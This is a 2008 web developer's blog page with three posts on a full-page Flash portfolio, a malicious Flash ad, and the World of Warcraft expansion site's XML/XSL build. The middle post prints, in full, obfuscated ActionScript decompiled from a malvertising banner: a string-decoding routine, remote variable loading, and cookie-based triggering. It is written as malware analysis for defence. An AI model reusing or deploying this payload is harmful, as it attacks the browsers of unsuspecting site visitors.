New Portfolio Site Launch!
Posted by sosuke in Flash, Portfolio, Website Analysis on May 29th, 2008
I launched my new portfolio site for Barrett Sonntag Online and wanted to talk a little on the technical aspects of the new all Flash site. After doing my analysis on the World of Warcraft website (worldofwarcraftcom front and back-end analysis) I wanted to see what it would take to combine a little JavaScript, HTML and Flash to create a SEO compliant full page Flash site. I have been shy about using full page Flash since getting my name listed in the major search engines, Flash is notoriously bad at SEO because it’s content is not usually indexable.
I wanted Flash to take the content straight from the page it was loaded it, to make it’s containing page have the XML data it would load. JavaScript provided the method required already, innerHTML. The innerHTML functionality works to take a HTML DOM elements subnodes and copy the structure and body text as a string. It worked great in Firefox and Safari but IE was screwing with the output forcing element names to uppercase and stripping quotes (“) from attribute values. Flash choked on this malformed XML data and I was stuck. I looked for a couple hours for how I could remedy IE’s nasty way of handling innerHTML and decided to sleep on it after posting on a popular online forum WebDeveloper.com. I didn’t get the answer handed so much as the path shown when I woke up the next morning, regular expressions. You can see the thread and my terrible but working solution http://www.webdeveloper.com/forum/showthread.php?t=182391.
With the IE innerHTML issue out of the way I was able to move on to the design of the site. Multiple columns with minimum wide items that auto adjusted just like inline elements in HTML. I don’t envy web browser developers this was no easy task. The next issue I ran into was setting up the Actionscript 3.0 event MouseWheel.MOUSE_SCROLL to fire allowing for the rows to move via the mousewheel or trackpad scrolling. It worked wonderfully in all browsers on my PC and failed completely on the test Macs I had access too. Lucky for me someone had already done the footwork and setup a JavaScript function that told the Flash file when the MOUSE_SCROLL event was being fired since Firefox and Safari on the Mac were not. Gabriel is to thank for this wonderfully easy to setup solution you can find on his site http://blog.pixelbreaker.com/flash/as30-mousewheel-on-mac-os-x/.
I am extremely happy with the outcome of this site as it is that full page Flash I was hoping for while still allowing search engines to see the full content of the site laid out in divs using class and id attributes.
De-constructing Malicious Flash
Posted by sosuke in Flash, Website Analysis on November 22nd, 2007
Last Friday I was approached by my boss to look into an advertisers banners due to reports of malware notifications when browsing our site. It sounded far fetched to think that Flash was executing malicious code on the client side browsers but I cracked open the SWF files with a de-compiler to take a look.
It was a mess, a little searching let me know that it was probably encrypted by Amayeta SWF Encrypt as seen from the review at Flash Valley. It turned out that my superiors had already confronted the client with the information that they suspected their ads of containing malware and the client replied with a fixed version that they had just handed over me to look at.
I wasn’t going to stop there though and I found the original files to see if they matched. File size of the originals was smaller so I threw them through the de-compiler again and lo there was human readable code. Why would the client send over fixed files that were obfuscated when the originals were not?
Here is the code that I found sitting in an unassuming movieclip with not content other than the single frame and actionscript.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 | _root.c1 = "47ED02"; _root.c2 = "46E91A247C"; _root.c3 = "7FF817257C8DF8"; _root.c4 = "50E70523"; _root.c5 = "7FD7153B7080E795EA776F"; _root.c6 = "48FC022723CCA3A8F36070509F2105CBA738D20F50A22FD09E2BB7495689293D5623312668"; _root.c7 = "11"; _root.c8 = "10"; _root.c9 = "10"; _root.c10 = "11"; _root.c11 = "10"; _root.c12 = "17"; _root.c13 = "48FC022723CCA3"; _root.c14 = "10"; _root.c15 = "0DB1"; _root.c16 = "10"; _root.c17 = "48FC022723CCA3A7E67676518C201D9BA138D20F50A263C7922FAD031B923C634721342266E62EB8CBA9707F3088182CC3"; _root.c18 = "14B8"; _root.c19 = "53ED17257A8BF8A5F66B774FCB73559FE6268157"; _root.c20 = "0F"; _root.c21 = "11BF446F29D3BCFAAF"; _root.c22 = "7FD7022D"; _root.c23 = "7FFD043B"; _root.c24 = "53FD14246D91"; _root.c25 = "7FD7102363"; _root.c26 = "7FD7103B6F"; _root.c27 = "7FD710347188"; _root.c28 = "53ED1833"; _root.c29 = "47ED0203708EE9B0F06B666C9C2317CAA0"; String.prototype.color = function (eslogan) { var _loc3 = eslogan; var result = ""; var _loc1; var n; var _loc2; _loc1 = 0; (n = this.length); while (_loc1 < n) { _loc2 = parseInt(this.slice(_loc1, _loc1 + 2), 16) ^ _loc3 >> 8 & 255; if (_loc2 > 127) { _loc2 = _loc2 + 848; } // end if result = result + String.fromCharCode(_loc2); _loc3 = (_loc3 * 52845 + 22719) % 16777215; _loc1 = _loc1 + 2; } // end while trace(result); return (result); }; _root[_root.c26.color(14688422)] = function () { var _loc1 = _root; _loc1._visible = false; _loc1.createEmptyMovieClip("emc", _loc1.getNextHighestDepth()); _loc1.emc.u = dt.getTime(); if (parseInt(_loc1.c10.color(14688422))) { _loc1.emc.loadVariables(_loc1.c17.color(14688422),_loc1.c1.color(14688422)); _loc1.i = setInterval(_loc1[_loc1.c27.color(14688422)], 100); return; } // end if _loc1[_loc1.c27.color(14688422)](); }; _root[_root.c27.color(14688422)] = function () { var _loc1 = _root; if (_loc1.emc.stats == _loc1.c2.color(14688422) || !parseInt(_loc1.c10.color(14688422))) { clearInterval(_loc1.i); new LoadVars()[_loc1.c28.color(14688422)](_loc1.c6.color(14688422),_loc1.c3.color(14688422), _loc1.c4.color(14688422)); so = SharedObject.getLocal(_loc1.c19.color(14688422),_loc1.c20.color(14688422)); so.data.uzhe = _loc1.uzhe = 1; if (_loc1.emc.exp) { dt = new Date(); cr = dt.getTime(); so.data.expires = cr + _loc1.emc.exp * 24 * 60 * 60 * 1000; } // end if so.flush(); return; } // end if if (_loc1.emc.stats || --_loc1.lim == 0) { _loc1._visible = !(_loc1.uzhe && parseInt(_loc1.c9.color(14688422))); clearInterval(_loc1.i); } // end if }; if (r == undefined) { r = 1; _root.uzhe = 0; _root.lim = parseInt(_root.c18.color(14688422)); _root[_root.c22.color(14688422)] = -new Date()[_root.c29.color(14688422)]() / 60; if (parseInt(_root.c18.color(14688422)) && (!parseInt(_root.c7.color(14688422)) || _root[_root.c23.color(14688422)][_root.c24.color(14688422)](parseInt(_root.c11.color(14688422)), parseInt(_root.c12.color(14688422))) == _root.c13.color(14688422)) && (!parseInt(_root.c14.color(14688422)) || !(_root[_root.c22.color(14688422)] >= parseInt(_root.c15.color(14688422)) && _root[_root.c22.color(14688422)] <= parseInt(_root.c16.color(14688422))))) { dt = new Date(); cr = dt.getTime(); so = SharedObject.getLocal(_root.c19.color(14688422), _root.c20.color(14688422)); _root.uzhe = so.data.uzhe; _root._visible = !(_root.uzhe && parseInt(_root.c9.color(14688422))); if (parseInt(_root.c8.color(14688422)) > 1) { if (!so.data.expires) { so.data.expires = cr; } // end if ++so.data.view; } // end if if (cr > so.data.expires || so.data.view == parseInt(_root.c8.color(14688422))) { so.data.expires = cr + parseInt(_root.c21.color(14688422)); so.flush(); _root[_root.c26.color(14688422)](); } // end if so.flush(); } // end if } // end if false; |
Wow, it was like nothing I had ever seen before. I immediately stuck a trace at the end of the new String prototype for result to see just what types of information it was returning.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | __flv __fchk 40 __tz getTimezoneOffset 40 1 7 0 _url substr http:// __flv __fchk |
The last two lines __flv and __fchk just kept repeating as the SWF played on. I turned to the search engines and started pasting parts of this code in to find someone else that had run into this. I turned up a txt file from the site Mike on Ads – Errorsafe. He even put together an example of what this type of code can do if you look at the comments of that post or just visit it directly at http://mikeonads.com/errorsafe_test.html (just don’t click Yes when it prompts you to install stuff). As Mike pointed out this is circumvented with new security features in the Flash 9 player and setting AllowScriptAccess false in the HTML embed / object code.
I wanted to document my experience with this mainly to give another source of reference because Mike on Ads was the only reference to this code I could find and wasn’t able to find anyone who could explain just what this code wants to do with the users browser.
worldofwarcraft.com front and back-end analysis
Posted by sosuke in Website Analysis on November 13th, 2007
Of course I am an avid World of Warcraft player or I would not have run across the site for their new expansion. I had noticed before that several of the World of Warcraft sites ended in .xml and the I didn’t think to go digging until I saw the page at http://worldofwarcraft.com/wrath/features/dungeons/utgarde.xml. I decided to document my trip through the front-end and possible some back-end code that makes up this amazing site.
1 2 3 4 5 6 7 8 | <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="/wrath/layout/dungeons.xsl"?> <page lang="en_us"> <dungeons background="header14" class="utgarde" feature="wrath.dungeons.utgarde"> </dungeons> </page> |
From this XML page we don’t know what back-end language is doing the XML / XSL transformations but lets dig a little deeper by taking a look at that style sheet listed at http://www.worldofwarcraft.com/wrath/layout/dungeons.xsl. The content is loaded around line 63 from http://worldofwarcraft.com/wrath/strings/en_us/strings.xml and http://worldofwarcraft.com/wrath/strings/en_us/features/utgarde.xml.
1 2 3 4 5 | <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:import href="global.xsl"/> ... </xsl:stylesheet> |
Getting deeper into the layout site of things this stylesheet defines a particular page layout for the Wrath of the Lich King website. This page is using repeating elements from outside sources so we don’t have any content in this document. Right at the top you see our next step to dig deeper into how this site is being prepared. The XSL is importing another document with general elements for the site that are used across all pages from http://www.worldofwarcraft.com/wrath/layout/global.xsl.
1 2 3 4 5 | <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="html" doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" doctype-public="-//W3C//DTD XHTML 1.0 Transitional//EN"/> ... </xsl:stylesheet> |
The global.xsl is defining several of the sites reusable elements. It is extremely well commented and arranged. One issue I have seen is the doc-type that is listed was not actually put into the output of the page as show from my Web Developer Toolbar for Firefox View Generated Source tool. The usage of inline style elements is disappointing considering how good the external CSS files are. The W3C validator complains about the lack of doc-type, Flash elements and missing alt tags.
1 2 3 4 5 | <html><head><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><title>World of Warcraft: Wrath of the Lich King</title> ... </head><body> ... </body></html> |
Moving on from the layout code to the CSS I am again impressed by the usage of language specific css files to define the background-image elements that have different text on them as shown in http://worldofwarcraft.com/wrath/css/en_us/language.css. The master CSS file http://worldofwarcraft.com/wrath/css/master.css shows a little usage of absolutely positioned elements and negative margins which in some cases is considered a crutch in layout but in all of the ones I check in this page it was needed. Again there is top notch commenting and arrangement of the styles that makes it all extremely friendly to read. The CSS validator lists a few errors that are obviously browser specific hacks but nothing out of line.
Performance of the site isn’t terrible but the initial page load comes in at a hefty 532.4K total size. The Flash files have been optimized well but most of this weight is in the images with a grand total of 419.6K. After this initial loading though subsequent pages have a very minimal impact with a primed cache.
I wasn’t able to discover though my digging just what the back-end XML/XSLT transforming platform was but it seems to be very good. I would recommend this and other World of Warcraft sites to new and seasoned developers as an example of excellent front and back-end development.